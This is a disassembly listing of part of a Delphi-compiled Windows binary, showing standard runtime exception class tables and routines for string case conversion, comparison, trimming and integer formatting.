off_200062F8	dd offset dword_20015660 ; DATA	XREF: DATA:off_2001422Co
					; DATA:off_200143E0o
		dd 0FFA6h
off_20006300	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014230o
					; DATA:off_20014510o
		dd 0FFA7h
off_20006308	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014234o
					; DATA:off_200143F4o
		dd 0FFA8h
off_20006310	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014238o
					; DATA:off_20014554o
		dd 0FFA9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_2000633D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_20015690
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20006344


loc_2000633C:				; CODE XREF: CODE:20006342j
		retn
; ---------------------------------------------------------------------------


loc_2000633D:				; DATA XREF: CODE:2000631Eo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000633C
; ---------------------------------------------------------------------------


loc_20006344:				; CODE XREF: CODE:loc_2000633Cj
					; DATA XREF: CODE:20006337o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_20015690, 1
		retn
; ---------------------------------------------------------------------------
off_20006350	dd offset dword_2000639C ; DATA	XREF: CODE:200063E0o
					; CODE:20006498o ...
		dd 2 dup(0)
		dd offset dword_2000639C
		dd 4 dup(0)
		dd offset word_200063AE
		dd 0Ch
		dd offset off_2000100C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000639C	dd 0Eh,	10000h		; DATA XREF: CODE:off_20006350o
					; CODE:2000635Co
		db 2 dup(0)
		dd offset off_20001000
		dw 4
		db 2 dup(0)
word_200063AE	dw 4509h		; DATA XREF: CODE:20006370o
		dd 70656378h, 6E6F6974h
off_200063B8	dd offset dword_20006404 ; DATA	XREF: CODE:2000643Co
					; CODE:200068C4o
		dd 7 dup(0)
		dd offset dword_20006404
		dd 10h
		dd offset off_20006350
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_2000A670
		dd offset sub_200034E4
dword_20006404	dd 6548450Eh, 78457061h, 74706563h, 906E6F69h
					; DATA XREF: CODE:off_200063B8o
					; CODE:200063D8o
off_20006414	dd offset dword_20006460 ; DATA	XREF: sub_2000ABA0+8r
		dd 7 dup(0)
		dd offset dword_20006460
		dd 10h
		dd offset off_200063B8
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_2000A670
		dd offset sub_200034E4
dword_20006460	dd 754F450Ch, 4D664F74h, 726F6D65h, 408D79h ; DATA XREF: CODE:off_20006414o
					; CODE:20006434o
off_20006470	dd offset dword_200064BC ; DATA	XREF: sub_2000A69C+2Dr
					; sub_2000A69C+4Cr
		dd 7 dup(0)
		dd offset dword_200064BC
		dd 10h
		dd offset off_20006350
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_200064BC	dd 6E49450Bh, 4574754Fh, 726F7272h ; DATA XREF:	CODE:off_20006470o
					; CODE:20006490o
off_200064C8	dd offset dword_20006514 ; DATA	XREF: CODE:20006548o
					; CODE:200065A8o ...
		dd 7 dup(0)
		dd offset dword_20006514
		dd 10h
		dd offset off_20006350
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_20006514	dd 78454509h, 6E726574h, 0C08B6C61h ; DATA XREF: CODE:off_200064C8o
					; CODE:200064E8o
off_20006520	dd offset dword_2000656C ; DATA	XREF: sub_2000AAC4+82r
		dd 7 dup(0)
		dd offset dword_2000656C
		dd 10h
		dd offset off_200064C8
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000656C	dd 78454512h, 6E726574h, 78456C61h, 74706563h, 906E6F69h
					; DATA XREF: CODE:off_20006520o
					; CODE:20006540o ...
off_20006580	dd offset dword_200065CC ; DATA	XREF: CODE:20006600o
					; CODE:20006658o ...
		dd 7 dup(0)
		dd offset dword_200065CC
		dd 10h
		dd offset off_200064C8
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_200065CC	dd 6E494509h, 72724574h, 0C08B726Fh ; DATA XREF: CODE:off_20006580o
					; CODE:200065A0o
		dd offset dword_20006624
		dd 7 dup(0)
		dd offset dword_20006624
		dd 10h
		dd offset off_20006580
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_20006624	dd 6944450Ah, 5A794276h, 906F7265h ; DATA XREF:	CODE:200065D8o
					; CODE:200065F8o ...
off_20006630	dd offset dword_2000667C ; DATA	XREF: sub_20011824+33r
					; sub_20011948+3Ar
		dd 7 dup(0)
		dd offset dword_2000667C
		dd 10h
		dd offset off_20006580
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000667C	dd 6152450Bh, 4565676Eh, 726F7272h ; DATA XREF:	CODE:off_20006630o
					; CODE:20006650o ...
		dd offset dword_200066D4
		dd 7 dup(0)
		dd offset dword_200066D4
		dd 10h
		dd offset off_20006580
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_200066D4	dd 6E49450Ch, 65764F74h, 6F6C6672h, 408D77h ; DATA XREF: CODE:20006688o
					; CODE:200066A8o ...
off_200066E4	dd offset dword_20006730 ; DATA	XREF: CODE:20006764o
					; CODE:200067BCo ...
		dd 7 dup(0)
		dd offset dword_20006730
		dd 10h
		dd offset off_200064C8
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_20006730	dd 614D450Ah, 72456874h, 90726F72h ; DATA XREF:	CODE:off_200066E4o
					; CODE:20006704o
		dd offset dword_20006788
		dd 7 dup(0)
		dd offset dword_20006788
		dd 10h
		dd offset off_200066E4
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_20006788	dd 6E49450Ah, 696C6176h, 90704F64h ; DATA XREF:	CODE:2000673Co
					; CODE:2000675Co ...
		dd offset dword_200067E0
		dd 7 dup(0)
		dd offset dword_200067E0
		dd 10h
		dd offset off_200066E4
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_200067E0	dd 655A450Bh, 69446F72h, 65646976h ; DATA XREF:	CODE:20006794o
					; CODE:200067B4o ...
		dd offset dword_20006838
		dd 7 dup(0)
		dd offset dword_20006838
		dd 10h
		dd offset off_200066E4
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_20006838	dd 764F4509h, 6C667265h, 0C08B776Fh ; DATA XREF: CODE:200067ECo
					; CODE:2000680Co ...
		dd offset dword_20006890
		dd 7 dup(0)
		dd offset dword_20006890
		dd 10h
		dd offset off_200066E4
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_20006890	dd 6E55450Ah, 66726564h, 90776F6Ch ; DATA XREF:	CODE:20006844o
					; CODE:20006864o ...
off_2000689C	dd offset dword_200068E8 ; DATA	XREF: sub_2000ABA0+1Fr
		dd 7 dup(0)
		dd offset dword_200068E8
		dd 10h
		dd offset off_200063B8
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_2000A670
		dd offset sub_200034E4
dword_200068E8	dd 6E49450Fh, 696C6176h, 696F5064h, 7265746Eh
					; DATA XREF: CODE:off_2000689Co
					; CODE:200068BCo
		dd offset dword_20006944
		dd 7 dup(0)
		dd offset dword_20006944
		dd 0Ch
		dd offset off_20006350
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_20006944	dd 6E49450Ch, 696C6176h, 73614364h, 408D74h ; DATA XREF: CODE:200068F8o
					; CODE:20006918o ...
off_20006954	dd offset dword_200069A0 ; DATA	XREF: sub_20006F08+Fr
					; sub_2001028C+91r
		dd 7 dup(0)
		dd offset dword_200069A0
		dd 0Ch
		dd offset off_20006350
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_200069A0	dd 6F43450Dh, 7265766Eh, 72724574h, 0C08B726Fh
					; DATA XREF: CODE:off_20006954o
					; CODE:20006974o
off_200069B0	dd offset dword_200069FC ; DATA	XREF: sub_2000A8F8+122r
					; sub_2000A8F8+17Er
		dd 7 dup(0)
		dd offset dword_200069FC
		dd 10h
		dd offset off_200064C8
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_200069FC	dd 63414510h, 73736563h, 6C6F6956h, 6F697461h, 408D6Eh
					; DATA XREF: CODE:off_200069B0o
					; CODE:200069D0o ...
		dd offset dword_20006A5C
		dd 7 dup(0)
		dd offset dword_20006A5C
		dd 10h
		dd offset off_200064C8
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_20006A5C	dd 7250450Ah, 6C697669h, 90656765h ; DATA XREF:	CODE:20006A10o
					; CODE:20006A30o ...
		dd offset dword_20006AB4
		dd 7 dup(0)
		dd offset dword_20006AB4
		dd 10h
		dd offset off_200064C8
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_20006AB4	dd 7453450Eh, 4F6B6361h, 66726576h, 90776F6Ch ;	DATA XREF: CODE:20006A68o
					; CODE:20006A88o ...
		dd offset dword_20006B10
		dd 7 dup(0)
		dd offset dword_20006B10
		dd 10h
		dd offset off_200064C8
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_20006B10	dd 6F434509h, 6F72746Eh, 0C08B436Ch ; DATA XREF: CODE:20006AC4o
					; CODE:20006AE4o ...
off_20006B1C	dd offset dword_20006B68 ; DATA	XREF: CODE:2000CABCo
					; CODE:2000CB20o ...
		dd 7 dup(0)
		dd offset dword_20006B68
		dd 0Ch
		dd offset off_20006350
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_20006B68	dd 6156450Dh, 6E616972h, 72724574h, 0C08B726Fh
					; DATA XREF: CODE:off_20006B1Co
					; CODE:20006B3Co ...
off_20006B78	dd offset dword_20006BC4 ; DATA	XREF: sub_2000A770+72r
		dd 7 dup(0)
		dd offset dword_20006BC4
		dd 0Ch
		dd offset off_20006350
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_20006BC4	dd 73414510h, 74726573h, 466E6F69h, 656C6961h, 408D64h
					; DATA XREF: CODE:off_20006B78o
					; CODE:20006B98o ...
off_20006BD8	dd offset dword_20006C24 ; DATA	XREF: CODE:2000A850r
		dd 7 dup(0)
		dd offset dword_20006C24
		dd 0Ch
		dd offset off_20006350
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_20006C24	dd 6241450Eh, 61727473h, 72457463h, 90726F72h
					; DATA XREF: CODE:off_20006BD8o
					; CODE:20006BF8o
		dd offset dword_20006C80
		dd 7 dup(0)
		dd offset dword_20006C80
		dd 0Ch
		dd offset off_20006350
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_20006C80	dd 6E49450Eh, 61436674h, 72457473h, 90726F72h ;	DATA XREF: CODE:20006C34o
					; CODE:20006C54o ...
off_20006C90	dd offset dword_20006CDC ; DATA	XREF: sub_2000B75C+4Er
					; sub_2000B75C+64r
		dd 7 dup(0)
		dd offset dword_20006CDC
		dd 10h
		dd offset off_20006350
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_20006CDC	dd 534F4508h, 6F727245h, 408D72h ; DATA	XREF: CODE:off_20006C90o
					; CODE:20006CB0o
		dd offset dword_20006D34
		dd 7 dup(0)
		dd offset dword_20006D34
		dd 0Ch
		dd offset off_20006350
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_20006D34	dd 61534512h, 61636566h, 78456C6Ch, 74706563h, 906E6F69h
					; DATA XREF: CODE:20006CE8o
					; CODE:20006D08o ...
off_20006D48	dd offset dword_20006D4C ; DATA	XREF: sub_200072D4+1Ar
					; CODE:2000C00Br
dword_20006D4C	dd 372E0311h, 434h	; DATA XREF: CODE:off_20006D48o
		db 0
		dd offset off_20001000
		db 48h,	2 dup(0)
		db 0
		dd offset off_20001000
		db 8, 53h, 79h
		dd 69745573h, 0C08B736Ch
off_20006D6C	dd offset dword_20006D70 ; DATA	XREF: sub_200072D4+51r
					; CODE:2000BFFBr
dword_20006D70	dd 382E0311h, 434h	; DATA XREF: CODE:off_20006D6Co
		db 0
		dd offset off_20001000
		db 48h,	2 dup(0)
		db 0
		dd offset off_20001000
		db 8, 53h, 79h
		dd 69745573h, 0C08B736Ch, 0FFFFFFFFh, 1
dword_20006D98	dd 24h			; DATA XREF: DATA:off_2001414Co
off_20006D9C	dd offset dword_20006DE8 ; DATA	XREF: sub_2000B9DC+4Br
		dd 7 dup(0)
		dd offset dword_20006DE8
		dd 44h
		dd offset off_2000100C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_2000B8AC
dword_20006DE8	dd 68545413h, 64616572h, 61636F4Ch, 756F436Ch, 7265746Eh
					; DATA XREF: CODE:off_20006D9Co
					; CODE:20006DBCo
		dd 0D4C083CCh, 4DC3E9h,	0D4C08300h, 4E27E9h, 0D4C08300h
		dd 4CC7E9h, 0D4C08300h,	4D5BE9h, 24448300h, 3DE9D404h
		dd 83FFFFE7h, 0D4042444h, 0FFE75BE9h, 244483FFh, 65E9D404h
		dd 0CCFFFFE7h
off_20006E3C	dd offset dword_20006DE8+35h ; DATA XREF: CODE:20006E6Co
		dd offset dword_20006DE8+3Fh
		dd offset dword_20006DE8+49h
		dd offset dword_20006DE8+15h
		dd offset dword_20006DE8+1Dh
		dd offset dword_20006DE8+25h
		dd offset dword_20006DE8+2Dh
dword_20006E58	dd 1, 7B108C52h, 4CDB1D8Fh, 0E057DF9Ch,	3F3D1971h
					; DATA XREF: CODE:20006E7Co
		dd offset off_20006E3C
		dd 2Ch,	0
off_20006E78	dd offset aTmultireadexcl ; DATA XREF: CODE:200126DBr
					; "$TMultiReadExclusiveWriteSynchronizer█@"...
		dd offset dword_20006E58
		dd 6 dup(0)
		dd offset aTmultireadexcl ; "$TMultiReadExclusiveWriteSynchronizer█@"...
		dd 30h
		dd offset off_20001100
		dd offset sub_20003700
		dd offset sub_20005538
		dd offset sub_20005544
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_20005554
		dd offset sub_200034A8
		dd offset sub_2000BA50
aTmultireadexcl	db '$TMultiReadExclusiveWriteSynchronizer█@',0
					; DATA XREF: CODE:off_20006E78o
					; CODE:20006E98o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20006EEC	proc near		; CODE XREF: sub_20008534+2Bp
					; sub_20008534+3Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, edx
		mov	edx, eax
		shr	edx, 10h
		div	bx
		mov	ebx, [ebp+arg_0]
		mov	[ecx], ax
		mov	[ebx], dx
		pop	ebx
		pop	ebp
		retn	4
sub_20006EEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_20006F08	proc near		; CODE XREF: sub_20007824+4Cp
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		push	esi
		push	edi
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, off_20006954
		call	sub_2000A5DC
		call	sub_20003A08
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20006F08	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20006F2C	proc near		; CODE XREF: sub_2000B914+46p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	eax, ebx
		call	sub_20002668
		mov	esi, eax
		mov	eax, esi
		xor	ecx, ecx
		mov	edx, ebx
		call	sub_20002E38
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_20006F2C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20006F4C	proc near		; CODE XREF: sub_2000DACC+85p
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_20004244
		mov	ebx, eax
		mov	eax, edi
		mov	edx, ebx
		call	sub_200045D0
		mov	edx, esi
		mov	esi, [edi]
		test	ebx, ebx
		jz	short loc_20006F82


loc_20006F6D:				; CODE XREF: sub_20006F4C+34j
		mov	al, [edx]
		cmp	al, 61h
		jb	short loc_20006F79
		cmp	al, 7Ah
		ja	short loc_20006F79
		sub	al, 20h


loc_20006F79:				; CODE XREF: sub_20006F4C+25j
					; sub_20006F4C+29j
		mov	[esi], al
		inc	edx
		inc	esi
		dec	ebx
		test	ebx, ebx
		jnz	short loc_20006F6D


loc_20006F82:				; CODE XREF: sub_20006F4C+1Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20006F4C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20006F88	proc near		; CODE XREF: sub_2000DACC+64p
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_20004244
		mov	ebx, eax
		mov	eax, edi
		mov	edx, ebx
		call	sub_200045D0
		mov	edx, esi
		mov	esi, [edi]
		test	ebx, ebx
		jz	short loc_20006FBE


loc_20006FA9:				; CODE XREF: sub_20006F88+34j
		mov	al, [edx]
		cmp	al, 41h
		jb	short loc_20006FB5
		cmp	al, 5Ah
		ja	short loc_20006FB5
		add	al, 20h


loc_20006FB5:				; CODE XREF: sub_20006F88+25j
					; sub_20006F88+29j
		mov	[esi], al
		inc	edx
		inc	esi
		dec	ebx
		test	ebx, ebx
		jnz	short loc_20006FA9


loc_20006FBE:				; CODE XREF: sub_20006F88+1Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20006F88	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20006FC4	proc near		; CODE XREF: sub_20007018+14p
		push	esi
		push	edi
		push	ebx
		mov	esi, eax
		mov	edi, edx
		or	eax, eax
		jz	short loc_20006FD2
		mov	eax, [eax-4]


loc_20006FD2:				; CODE XREF: sub_20006FC4+9j
		or	edx, edx
		jz	short loc_20006FD9
		mov	edx, [edx-4]


loc_20006FD9:				; CODE XREF: sub_20006FC4+10j
		mov	ecx, eax
		cmp	ecx, edx
		jbe	short loc_20006FE1
		mov	ecx, edx


loc_20006FE1:				; CODE XREF: sub_20006FC4+19j
		cmp	ecx, ecx


loc_20006FE3:				; CODE XREF: sub_20006FC4+45j
		repe cmpsb
		jz	short loc_20007011
		mov	bl, [esi-1]
		cmp	bl, 61h
		jb	short loc_20006FF7
		cmp	bl, 7Ah
		ja	short loc_20006FF7
		sub	bl, 20h


loc_20006FF7:				; CODE XREF: sub_20006FC4+29j
					; sub_20006FC4+2Ej
		mov	bh, [edi-1]
		cmp	bh, 61h
		jb	short loc_20007007
		cmp	bh, 7Ah
		ja	short loc_20007007
		sub	bh, 20h


loc_20007007:				; CODE XREF: sub_20006FC4+39j
					; sub_20006FC4+3Ej
		cmp	bl, bh
		jz	short loc_20006FE3
		movzx	eax, bl
		movzx	edx, bh


loc_20007011:				; CODE XREF: sub_20006FC4+21j
		sub	eax, edx
		pop	ebx
		pop	edi
		pop	esi
		retn
sub_20006FC4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20007018	proc near		; CODE XREF: sub_20011C80+64p
		cmp	eax, edx
		jz	short loc_20007035
		or	eax, eax
		jz	short locret_20007037
		or	edx, edx
		jz	short loc_20007038
		mov	ecx, [eax-4]
		cmp	ecx, [edx-4]
		jnz	short loc_20007038
		call	sub_20006FC4
		test	eax, eax
		jnz	short loc_20007038


loc_20007035:				; CODE XREF: sub_20007018+2j
		mov	al, 1

locret_20007037:			; CODE XREF: sub_20007018+6j
		retn
; ---------------------------------------------------------------------------


loc_20007038:				; CODE XREF: sub_20007018+Aj
					; sub_20007018+12j ...
		xor	eax, eax
		retn
sub_20007018	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000703C	proc near		; CODE XREF: sub_20011798+Ap
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, esi
		call	sub_20004244
		push	eax		; cchCount2
		mov	eax, esi
		call	sub_20004444
		push	eax		; lpString2
		mov	eax, ebx
		call	sub_20004244
		push	eax		; cchCount1
		mov	eax, ebx
		call	sub_20004444
		push	eax		; lpString1
		push	0		; dwCmpFlags
		push	400h		; Locale
		call	CompareStringA
		sub	eax, 2
		pop	esi
		pop	ebx
		retn
sub_2000703C	endp


; =============== S U B	R O U T	I N E =======================================



sub_20007074	proc near		; CODE XREF: sub_200070AC+Ap
					; sub_200094DC+4Fp ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, esi
		call	sub_20004244
		push	eax		; cchCount2
		mov	eax, esi
		call	sub_20004444
		push	eax		; lpString2
		mov	eax, ebx
		call	sub_20004244
		push	eax		; cchCount1
		mov	eax, ebx
		call	sub_20004444
		push	eax		; lpString1
		push	1		; dwCmpFlags
		push	400h		; Locale
		call	CompareStringA
		sub	eax, 2
		pop	esi
		pop	ebx
		retn
sub_20007074	endp


; =============== S U B	R O U T	I N E =======================================



sub_200070AC	proc near		; CODE XREF: sub_20007364+1Cp
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	edx, esi
		mov	eax, ebx
		call	sub_20007074
		test	eax, eax
		setz	al
		pop	esi
		pop	ebx
		retn
sub_200070AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200070C4	proc near		; CODE XREF: sub_200096E4+89p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, edx
		mov	edi, eax
		mov	eax, edi
		call	sub_20004244
		mov	esi, eax
		mov	ebx, 1
		jmp	short loc_200070DD
; ---------------------------------------------------------------------------


loc_200070DC:				; CODE XREF: sub_200070C4+22j
		inc	ebx


loc_200070DD:				; CODE XREF: sub_200070C4+16j
		cmp	esi, ebx
		jl	short loc_200070E8
		cmp	byte ptr [edi+ebx-1], 20h
		jbe	short loc_200070DC


loc_200070E8:				; CODE XREF: sub_200070C4+1Bj
		cmp	esi, ebx
		jge	short loc_200070F6
		mov	eax, ebp
		call	sub_20003FA8
		jmp	short loc_2000710C
; ---------------------------------------------------------------------------


loc_200070F5:				; CODE XREF: sub_200070C4+37j
		dec	esi


loc_200070F6:				; CODE XREF: sub_200070C4+26j
		cmp	byte ptr [edi+esi-1], 20h
		jbe	short loc_200070F5
		push	ebp
		mov	ecx, esi
		sub	ecx, ebx
		inc	ecx
		mov	edx, ebx
		mov	eax, edi
		call	sub_200044A4


loc_2000710C:				; CODE XREF: sub_200070C4+2Fj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200070C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20007114	proc near		; CODE XREF: sub_20007160+Bp
					; sub_20007274+13p ...
		or	cl, cl
		jnz	short loc_2000712F
		or	eax, eax
		jns	short sub_2000712A
		neg	eax
		call	sub_2000712A
		mov	al, 2Dh
		inc	ecx
		dec	esi
		mov	[esi], al
		retn
sub_20007114	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000712A	proc near		; CODE XREF: sub_20007114+6j
					; sub_20007114+Ap
		mov	ecx, 0Ah


loc_2000712F:				; CODE XREF: sub_20007114+2j
		push	edx
		push	esi


loc_20007131:				; CODE XREF: sub_2000712A+1Bj
		xor	edx, edx
		div	ecx
		dec	esi
		add	dl, 30h
		cmp	dl, 3Ah
		jb	short loc_20007141
		add	dl, 7


loc_20007141:				; CODE XREF: sub_2000712A+12j
		mov	[esi], dl
		or	eax, eax
		jnz	short loc_20007131
		pop	ecx
		pop	edx
		sub	ecx, esi
		sub	edx, ecx
		jbe	short locret_2000715F
		add	ecx, edx
		mov	al, 30h
		sub	esi, edx
		jmp	short loc_2000715A
; ---------------------------------------------------------------------------


loc_20007157:				; CODE XREF: sub_2000712A+31j
		mov	[edx+esi], al


loc_2000715A:				; CODE XREF: sub_2000712A+2Bj
		dec	edx
		jnz	short loc_20007157
		mov	[esi], al

locret_2000715F:			; CODE XREF: sub_2000712A+23j
		retn
sub_2000712A	endp


; =============== S U B	R O U T	I N E =======================================



sub_20007160	proc near		; CODE XREF: sub_2000DD44+C8p
					; sub_2000DD44+E2p ...
		push	esi
		mov	esi, esp
		sub	esp, 10h
		xor	ecx, ecx
		push	edx
		xor	edx, edx
		call	sub_20007114
		mov	edx, esi
		pop	eax
		call	sub_20004098
		add	esp, 10h
		pop	esi
		retn
sub_20007160	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20007180	proc near		; CODE XREF: sub_2000724C+11p
					; sub_200079D6+94j ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		or	cl, cl
		jnz	short sub_200071B4
		mov	ecx, 0Ah
		test	dword ptr [eax+4], 80000000h
		jz	short sub_200071B4
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		mov	eax, esp
		neg	[esp+8+var_8]
		adc	[esp+8+var_4], 0
		neg	[esp+8+var_4]
		call	sub_200071B4
		mov	byte ptr [esi-1], 2Dh
		dec	esi
		inc	ecx
		add	esp, 8
		retn
sub_20007180	endp


; =============== S U B	R O U T	I N E =======================================



sub_200071B4	proc near		; CODE XREF: sub_20007180+2j
					; sub_20007180+10j ...

var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_6		= word ptr -6

		push	esi
		sub	esp, 4
		fnstcw	[esp+8+var_6]
		fnstcw	[esp+8+var_8]
		or	[esp+8+var_8], 0F00h
		fldcw	[esp+8+var_8]
		mov	[esp+8+var_8], cx
		fld1
		test	dword ptr [eax+4], 80000000h
		jz	short loc_200071FE
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		and	[esp+10h+var_C], 7FFFFFFFh
		push	7FFFFFFFh
		push	0FFFFFFFFh
		fild	qword ptr [esp+8]
		fild	[esp+18h+var_18]
		fadd	st, st(2)
		faddp	st(1), st
		add	esp, 10h
		jmp	short loc_20007200
; ---------------------------------------------------------------------------


